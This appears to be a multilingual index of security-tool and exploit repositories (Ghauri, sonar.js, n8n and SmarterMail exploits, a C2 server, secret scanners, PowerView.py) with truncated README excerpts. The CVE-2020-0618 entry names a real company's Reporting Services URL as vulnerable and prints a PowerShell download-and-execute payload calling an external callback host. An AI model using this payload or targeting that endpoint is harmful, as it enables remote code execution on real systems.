ghauri

喜欢 Ghauri？请考虑支持开发者 Ghauri 一款先进的跨平台工具，用于自动化检测和利用 SQL 注入安全漏洞。 系统要求 Python 3 Python pip3 安装 进入 ghauri 目录。 安装依赖：python3 -m pip install --upgrade -r requirements.txt 运行：python3 setup.py install 或 python3 -m pip install -e . 之后即可通过简单的 ghauri --help 命令访问和运行 ghauri。 或 如果遇到安装问题，请遵循此安装指南。 下载 Ghauri 您可以通过克隆...

elegant-bouncer

ELEGANTBOUNCER ELEGANTBOUNCER es una herramienta de detección de exploits móviles basados en archivos. Emplea un enfoque innovador para la identificación avanzada de amenazas basadas en archivos, eliminando la necesidad de muestras in-the-wild y superando a los métodos tradicionales basados en...

sonar.js

sonar.js A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration, WebSocket host scanning, and external resource fingerprinting. How does it work? Upon loading the sonar.js payload in a modern web browser the following will happen: sonar....

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 存在漏洞的链接 $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

trust-my-agent-ai

🛡️ TrustMyAgent 面向 OpenClaw 智能体的安全保镖 网站 • 信任中心 • 快速开始 • 贡献指南 为 OpenClaw 智能体提供的类似EDR的安全智能体。运行 41 项安全检查，涵盖 14 个领域，计算信任分数（0-100），并将遥测数据发送到集中的 信任中心 仪表盘，人类和其他智能体可以在其中验证可信度。 无状态设计 - 完全在内存中运行，不在本地存储任何内容，不在主机上留下痕迹。 为什么 AI智能体功能强大，但不够透明。当一个智能体在机器上运行时，你如何知道它没有： 泄露环境变量中的机密？ 产生可疑进程？ 访问不应访问的文件？ 以过高权限运行？ 连接外泄服务？...

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - CVE-2025-68613 扫描与利用框架 高级 n8n 工作流自动化 RCE 扫描与利用工具 🎯 概览 n8n God Mode Ultimate 是一个全面的安全测试框架，旨在检测和验证 n8n 工作流自动化平台中的 CVE-2025-68613。该严重远程代码执行（RCE）漏洞通过工作流执行上下文中的表达式注入影响 n8n 版本。 CVE-2025-68613 详情 CVSS 评分 : 10.0（严重） 攻击向量 : 网络 攻击复杂度 : 低 所需权限 : 低（有效凭据） 用户交互 : 无 漏洞类型 : 表达式注入 → 远程代码执行...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: SmarterMail Arbitrary File Upload RCE APT-Enhanced This is an enhanced proof-of-concept PoC exploit for CVE-2025-52691 , a critical vulnerability in SmarterTools SmarterMail email server software allowing unauthenticated arbitrary file uploads, potentially leading to remote co...

system_bt_AOSP10_r33_CVE-2021-0507

Pila Bluetooth de Fluoride Compilar y ejecutar en AOSP Simplemente compila AOSP: Fluoride viene incluido por defecto. Compilar y ejecutar en Linux Instrucciones para Ubuntu, probadas en 14.04 con Clang 3.5.0 y 16.10 con Clang 3.8.0 Descargar el código fuente mkdir /fluoride cd /fluoride git clone...

csaf

翻译 翻译：@inVains @songzy12 @cnskis 关于 DAMN VULNERABLE WEB APPLICATION（DVWA） Damn Vulnerable Web Application DVWA译注：可以直译为："该死的"不安全Web应用程序，是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中，练习技能和测试工具，帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性，并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。 DVWA的目的是通过简单明了的界面来练习一些最常见的...

PoC---CVE-2018-6389

PoC - CVE-2018-6389 Prueba de concepto de la vulnerabilidad CVE-2018-6389 en Wordpress 4.9.2. Esta vulnerabilidad permite a un atacante remoto no autenticado causar una denegación de servicio DoS en una aplicación web basada en Wordpress. Presentación: docs.google.com/presentation Herramienta...

AtomicSyscall

AtomicSyscall Herramientas y PoCs para la investigación de syscalls de Windows. Tabla de contenidos AtomicSyscall HeavensGate SyscallDumper SyscallPoCs SyscallResolvers Get-SyscallNumber.ps1 Reference Acknowledgments HeavensGate Este directorio es para la técnica Heaven's Gate. Ver README.md...

ctftool

CTFTOOL Just want to test the SYSTEM exploit? Click here. An Interactive CTF Exploration Tool This is ctftool, an interactive command line tool to experiment with CTF, a little-known protocol used on Windows to implement Text Services. This might be useful for studying Windows internals, debuggin...

ctftool

CTFTOOL 只想测试 SYSTEM 漏洞？点击这里。 交互式 CTF 探索工具 这是 ctftool，一个用于试验 CTF（一种在 Windows 上实现文本服务的小众协议）的交互式命令行工具。它可能对研究 Windows 内部机制、调试文本输入处理器的复杂问题以及分析 Windows 安全性有所帮助。 可以使用 ctftool 编写简单脚本，以自动化与 CTF 客户端或服务器的交互，或执行简单的模糊测试。 背景 随此工具发布附带一篇博客文章，可在此处获取。...

CVE-2019-15107

CVE-2019-15107 Exploit en Python El exploit para CVE-2019-15107 webmin Agradecimientos Basado en el módulo de Metasploit https://www.exploit-db.com/exploits/47230 Aviso original: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

system_bt_AOSP10_r33_CVE-2020-0413

Fluoride Bluetooth stack Building and running on AOSP Just build AOSP - Fluoride is there by default. Building and running on Linux Instructions for Ubuntu, tested on 14.04 with Clang 3.5.0 and 16.10 with Clang 3.8.0 Download source mkdir /fluoride cd /fluoride git clone...

NetSpy

NetSpyC2 NetSpyC2 是一个基于 Python 的命令与控制（C2）服务器，专为教学目的、安全研究和受控实验室环境而创建。 该项目展示了如何使用 Python 在应用协议层面实现加密的客户端-服务器通信、会话管理和安全文件传输。 NetSpyC2 不依赖外部 TLS 栈 。相反，它使用现代密码学原语实现自己的加密握手和加密通道。 主要功能 自定义的基于 TCP 的 C2 服务器 应用层握手验证 运行时生成的 RSA 2048 位密钥对 使用 RSA-OAEP 进行安全 AES 密钥交换 AES-GCM 提供每个会话的认证加密 多个并发客户端会话 交互式操作员控制台...

keeweb

Password Manager KeeWeb Password Manager🔑 KeeWeb is a browser and desktop password manager which is capable of opening up existing KeePass database kdbx files, or creating new vaults to store your important credentials in. !Versiongithub-version-imggithub-version-uri...

CS-Remote-OPs-BOF

Remote Operations BOF This repo serves as an addition to our previously released SA repo. Our original stance was that we would not release our tooling that modified other systems, and we would only provide information gathering tooling in a ready to go format. Over time, we have seen many other...

kyubisweep

🦊 KyubiSweep 像狐狸一样狡猾地猎捕暴露的秘密！ 一个轻量级、跨平台的 CLI 工具，用于扫描你的文件系统以检测暴露的秘密、API 密钥和令牌。使用 Go 构建，追求极致性能且零依赖。 ✨ 功能特性 🔍 30+ 种秘密模式 - 检测 AWS、Stripe、GitHub、Google、Slack 以及数据库凭证等 🧮 香农熵分析 - 捕捉正则表达式可能遗漏的高熵随机字符串 ⚡ 并发扫描 - 利用 Go 的 goroutine 实现极速并行处理 🛡️ 安全卫生评分卡 - 漂亮的终端输出，附带颜色编码的风险等级 📦 零依赖 - 单个静态二进制文件，只需下载即可运行 🖥️ 跨平台...

powerview.py

Installation | Basic Usage | Obfuscation | Modules | Logging | User Defined Rules | MCP | Plugins | Acknowledgements Overview PowerView.py is an alternative for the awesome original PowerView.ps1 script. Most of the modules used in PowerView are available here some of the flags are changed . Main...